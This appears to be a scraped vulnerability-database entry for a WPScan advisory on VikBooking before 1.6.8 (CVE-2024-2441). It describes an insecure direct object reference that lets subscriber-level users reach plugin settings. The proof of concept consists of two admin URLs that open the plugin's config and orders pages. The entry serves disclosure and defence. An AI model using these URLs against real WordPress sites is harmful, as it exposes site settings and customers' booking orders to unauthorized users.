Lucene search
Cyc707WPVDB-ID:9647E273-5724-4A02-868D-9B79F4BB2B79HistoryApr 19, 2024 - 12:00 a.m.
VikBooking < 1.6.8 - Insecure Direct Object References
2024-04-1900:00:00
cyc707
wpscan.com
2
plugin access bypass
authenticated user
subscriber privileges
settings access
software vulnerability
Description The plugin allows direct access to menus, allowing an authenticated user with subscriber privileges or above, to bypass authorization and access settings of the plugin’s they shouldn’t be allowed to.
PoC
https://example.com/wp-admin/admin.php?option=com_vikbooking&task;=config https://example.com/wp-admin/admin.php?option=com_vikbooking&task;=orders
| CPE | Name | Operator | Version |
|---|---|---|---|
| eq | 1.6.8 |
Related
wpexploit
wpexploit
VikBooking < 1.6.8 - Insecure Direct Object References
2024-04-19 00:00:00
cve
cve
CVE-2024-2441
2024-05-14 15:19:20
cvelist
cvelist
CVE-2024-2441 VikBooking < 1.6.8 - Insecure Direct Object References
2024-05-10 06:00:02
nvd
nvd
CVE-2024-2441
2024-05-14 15:19:20
wordfence
wordfence
6.4 Medium
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.1%
Related for WPVDB-ID:9647E273-5724-4A02-868D-9B79F4BB2B79